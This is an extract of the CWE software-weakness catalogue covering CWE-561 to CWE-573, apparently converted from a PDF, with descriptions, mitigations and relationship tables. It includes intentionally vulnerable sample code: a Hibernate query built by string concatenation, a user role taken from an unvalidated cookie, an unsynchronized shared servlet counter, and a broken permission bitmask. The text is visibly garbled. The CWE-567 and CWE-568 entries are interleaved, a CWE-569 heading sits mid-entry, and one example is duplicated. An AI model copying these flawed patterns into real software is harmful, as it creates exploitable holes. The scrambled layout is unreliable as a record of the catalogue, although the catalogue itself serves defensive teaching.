    private void doTweedledee() { 
        doTweedledumb(); 
    } 
    private void doTweedledumb() { 
        doTweedledee(); 
    } 
    public static void main(String[] args) { 
        System.out.println("running DoubleDead"); 
    } 
}
```
(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)
Example 3:
The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Java Example:
```java
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Remove dead code before deploying the application.

Testing
Use a static analysis tool to spot dead code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>886</td>
<td>SFP Primary Cluster: Unused entities</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>570</td>
<td>Expression is Always False</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>908</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>571</td>
<td>Expression is Always True</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>911</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC07-C</td>
<td>Detect and remove dead code</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC07-CPP</td>
<td>Detect and remove dead code</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP2</td>
<td>Unused Entities</td>
</tr>
</tbody>
</table>

CWE-562: Return of Stack Variable Address

Weakness ID: 562 (Weakness Base) Status: Draft

Description

Summary
A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description
Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause
the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Availability
DoS: crash / exit / restart

Demonstrative Examples
The following function returns a stack address.

C Example:

```c
char* getName() {
    char name[STR_MAX];
    fillInName(name);
    return name;
}
```

Potential Mitigations
Testing
Use static analysis tools to spot return of the address of a stack variable.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☉</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☉</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☉</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>☉</td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☉</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS34-C</td>
<td>Do not call putenv() with a pointer to an automatic variable as the argument</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

CWE-563: Assignment to Variable without Use ('Unused Variable')

Weakness ID: 563 (Weakness Variant)  Status: Draft

Description

Summary
The variable's value is assigned but never used, making it a dead store.

Extended Description
After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Time of Introduction
• Implementation

Common Consequences
Other

Quality degradation

Varies by context

This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

Demonstrative Examples

The following code excerpt assigns to the variable r and then overwrites the value without using it.

C Example:

```c
r = getName();
r = getNewBuffer(buf);
```

Potential Mitigations

Implementation

Remove unused variables from the code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>685</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>886</td>
<td>SFP Primary Cluster: Unused entities</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC00-C</td>
<td>Compile cleanly at high warning levels</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC00-CPP</td>
<td>Compile cleanly at high warning levels</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP2</td>
<td>Unused Entities</td>
</tr>
</tbody>
</table>

CWE-564: SQL Injection: Hibernate

Weakness ID: 564 (Weakness Variant) Status: Incomplete

Description

Summary

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Time of Introduction

• Architecture and Design
• Implementation

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

Demonstrative Examples

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Java Example:

```java
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street=" + street + "");
```

Potential Mitigations
Requirements
A non-SQL style database which is not subject to this flaw may be chosen.

Architecture and Design
Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation
Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Implementation
Use vigorous whitelist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>699</td>
<td>159</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>788</td>
<td>1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>109</td>
<td>Object Relational Mapping Injection</td>
<td></td>
</tr>
</tbody>
</table>

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID: 565 (Weakness Base)  Status: Incomplete

Description

Summary
The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description
Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Time of Introduction
- Architecture and Design
- Implementation
Common Consequences

Access Control

Gain privileges / assume identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.

Demonstrative Examples

The following code excerpt reads a value from a browser cookie to determine the role of the user.

**Java Example:**

```java
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Potential Mitigations

Architecture and Design

Avoid using cookie data for a security-related decision.

Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Architecture and Design

Add integrity checks to detect tampering.

Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
<td></td>
</tr>
</tbody>
</table>
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

**Weakness ID:** 566 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**
The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

**Extended Description**

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:
- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- Technology Classes
  - Database-Server *(Often)*

**Common Consequences**
- Confidentiality
- Integrity
- Access Control
- Read application data
- Modify application data
- Bypass protection mechanism

**Demonstrative Examples**
The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

**C# Example:**

```
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue('@id', id);
SqlDataReader objReader = objCommand.ExecuteReader();
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

**Potential Mitigations**

**Implementation**
Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.
Implementation
Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th></th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>990</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1396</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID: 567 (Weakness Base) Status: Draft

Description

Summary
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description
Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Java

Common Consequences

Confidentiality
Integrity
Availability
Read application data
Modify application data
DoS: instability
DoS: crash / exit / restart
If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.

Demonstrative Examples

The following code implements a basic counter for how many times the page has been accessed.

Java Example:

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
        throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
    }
```

Bad Code
CWE-568: final() Method Without super.final() (Weakness Variant)

**Description**

**Summary**

The software contains a final() method that does not call super.final().

**Extended Description**

The Java Language Specification states that it is a good practice for a final() method to call super.final().

**Time of Introduction**

- Implementation

**Applicable Platforms**

---

```java
p.println(count + " hits so far");
}
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

Assume this is the first occurrence of doGet, so the value of count is 0.

doGet() is called within Thread A.

The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.

doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.

Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

**Potential Mitigations**

**Implementation**

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

---

```java
p.println(count + " hits so far");
}
```
CWE-569: Expression Issues

Languages
- Java

Common Consequences
Other
Quality degradation

Demonstrative Examples
The following method omits the call to super.finalize().

Java Example:
```java
protected void finalize()
{  
discardNative();  
}
```

Potential Mitigations
Implementation
Call the super.finalize() method.

Testing
Use static analysis tools to spot such issues in your code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET1-J</td>
<td>Do not use finalizers</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

CWE-569: Expression Issues

Category ID: 569 (Category)

Description

Summary
Weaknesses in this category are related to incorrectly written expressions within code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>570</td>
<td>Expression is Always False</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>571</td>
<td>Expression is Always True</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-570: Expression is Always False

Weakness ID: 570 (Weakness Variant)

Description

Summary
The software contains an expression that will always evaluate to false.

Time of Introduction
- Implementation
Applicable Platforms

Languages
- All

Common Consequences
- Other
  - Quality degradation
- Varies by context

Demonstrative Examples

Example 1:
In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Java Example:

```java
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    } else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated. This can be easily corrected by updating the appropriate variable.

Example 2:
In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Bad Code

```c
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
```

Example 2:

Bad Code

```c
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
```
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }  // otherwise return 0 (false)
    return 0;
}

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

**Example 3:**
In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

```c
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \
", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        } else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

**Potential Mitigations**

**Testing**
Use Static Analysis tools to spot such conditions.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>561</td>
<td>Dead Code</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>569</td>
<td>Expression Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>908</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1397</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-571: Expression is Always True

Description

Summary
The software contains an expression that will always evaluate to true.

Time of Introduction

• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Other
Quality degradation
Varies by context

Demonstrative Examples

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Java Example:

```java
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if (isProductAvailable) {
        updateProductDatabase(productNumber);
    }
    else if (isDelayed) {
    /* Warn customer about delay before order processing */
    ...}
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

Potential Mitigations

Testing
Use Static Analysis tools to spot such conditions.
### CWE-572: Call to Thread run() instead of start()

**Weakness ID:** 572 *(Weakness Variant)*

**Status:** Draft

#### Description

**Summary**

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

**Extended Description**

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

#### Time of Introduction

- Implementation

#### Applicable Platforms

- Java

#### Common Consequences

- Quality degradation
  - Varies by context

#### Demonstrative Examples

The following excerpt from a Java program mistakenly calls run() instead of start().

**Java Example:**

```
Thread thr = new Thread() {
    public void run() {
        ...
    }
};
thr.run();
```

#### Potential Mitigations

**Implementation**

Use the start() method instead of the run() method.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>557</td>
<td>Concurrency Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>821</td>
<td>Incorrect Synchronization</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>854</td>
<td>CERT Java Secure Coding Section 09 - Thread APIs (THI)</td>
<td>844</td>
</tr>
</tbody>
</table>
CWE-573: Improper Following of Specification by Caller

**Description**

**Summary**

The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

**Extended Description**

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

**Time of Introduction**

- Implementation

**Common Consequences**

- Other
  - Quality degradation
    - Varies by context

**Relationships**

<table>
